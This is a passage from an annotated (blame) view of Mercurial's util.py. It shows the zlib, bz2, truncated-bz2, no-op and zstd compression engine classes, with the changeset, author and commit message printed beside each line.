3568 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3569 newbuf = self._decompobj.decompress('BZ')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3570 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3571 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3572
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3573 class _ZstdCompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3574 def __init__(self, fh, zstd):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3575 super(_ZstdCompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3576 self._zstd = zstd
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3577 self._decompobj = zstd.ZstdDecompressor().decompressobj()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3578 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3579 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3580 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3581 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3582 try:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3583 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3584 newbuf = self._decompobj.decompress('')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3585 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3586 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3587 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3588 break
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3589 except self._zstd.ZstdError:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3590 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3591
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3592 class _zlibengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3593 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3594 return 'zlib'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3595
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3596 def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3597 """zlib compression using the DEFLATE algorithm.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3598
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3599 All Mercurial clients should support this format. The compression
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3600 algorithm strikes a reasonable balance between compression ratio
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3601 and size.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3602 """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3603 return 'gzip', 'GZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3604
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3605 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3606 return compewireprotosupport('zlib', 20, 20)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3607
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3608 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3609 return 'x'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3610
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3611 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3612 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3613
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3614 z = zlib.compressobj(opts.get('level', -1))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3615 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3616 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3617 # Not all calls to compress emit data. It is cheaper to inspect
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3618 # here than to feed empty chunks through generator.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3619 if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3620 yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3621
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3622 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3623
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3624 def decompressorreader(self, fh):
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3625 return _GzipCompressedStreamReader(fh)
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3626
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3627 class zlibrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3628 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3629 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3630 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3631 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3632
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3633 if insize < 44:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3634 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3635
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3636 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3637 compressed = zlib.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3638 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3639 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3640 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3641
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3642 # zlib makes an internal copy of the input buffer, doubling
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3643 # memory usage for large inputs. So do streaming compression
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3644 # on large inputs.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3645 else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3646 z = zlib.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3647 parts = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3648 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3649 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3650 pos2 = pos + 2**20
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3651 parts.append(z.compress(data[pos:pos2]))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3652 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3653 parts.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3654
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3655 if sum(map(len, parts)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3656 return ''.join(parts)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3657 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3658
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3659 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3660 try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3661 return zlib.decompress(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3662 except zlib.error as e:
39777
b63dee7bd0d9 global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39571
diff changeset
3663 raise error.StorageError(_('revlog decompress error: %s') %
b63dee7bd0d9 global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39571
diff changeset
3664 stringutil.forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3665
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3666 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3667 return self.zlibrevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3668
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3669 compengines.register(_zlibengine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3670
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3671 class _bz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3672 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3673 return 'bz2'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3674
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3675 def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3676 """An algorithm that produces smaller bundles than ``gzip``.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3677
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3678 All Mercurial clients should support this format.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3679
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3680 This engine will likely produce smaller bundles than ``gzip`` but
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3681 will be significantly slower, both during compression and
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3682 decompression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3683
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3684 If available, the ``zstd`` engine can yield similar or better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3685 compression at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3686 """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3687 return 'bzip2', 'BZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3688
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3689 # We declare a protocol name but don't advertise by default because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3690 # it is slow.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3691 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3692 return compewireprotosupport('bzip2', 0, 0)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3693
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3694 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3695 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3696 z = bz2.BZ2Compressor(opts.get('level', 9))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3697 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3698 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3699 if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3700 yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3701
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3702 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3703
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3704 def decompressorreader(self, fh):
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3705 return _BZ2CompressedStreamReader(fh)
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3706
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3707 compengines.register(_bz2engine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3708
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3709 class _truncatedbz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3710 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3711 return 'bz2truncated'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3712
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3713 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3714 return None, '_truncatedBZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3715
30359
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30356
diff changeset
3716 # We don't implement compressstream because it is hackily handled elsewhere.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3717
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3718 def decompressorreader(self, fh):
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3719 return _TruncatedBZ2CompressedStreamReader(fh)
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3720
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3721 compengines.register(_truncatedbz2engine())
30265
6a8aff737a17 util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30181
diff changeset
3722
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3723 class _noopengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3724 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3725 return 'none'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3726
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3727 def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3728 """No compression is performed.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3729
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3730 Use this compression engine to explicitly disable compression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3731 """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3732 return 'none', 'UN'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3733
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3734 # Clients always support uncompressed payloads. Servers don't because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3735 # unless you are on a fast network, uncompressed payloads can easily
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3736 # saturate your network pipe.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3737 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3738 return compewireprotosupport('none', 0, 10)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3739
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3740 # We don't implement revlogheader because it is handled specially
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3741 # in the revlog class.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3742
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3743 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3744 return it
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3745
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3746 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3747 return fh
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3748
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3749 class nooprevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3750 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3751 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3752
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3753 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3754 return self.nooprevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3755
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3756 compengines.register(_noopengine())
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
3757
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3758 class _zstdengine(compressionengine):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3759 def name(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3760 return 'zstd'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3761
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3762 @propertycache
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3763 def _module(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3764 # Not all installs have the zstd module available. So defer importing
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3765 # until first access.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3766 try:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3767 from . import zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3768 # Force delayed import.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3769 zstd.__version__
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3770 return zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
3771 except ImportError:
41a8106789ca util: implement zstd compression engine
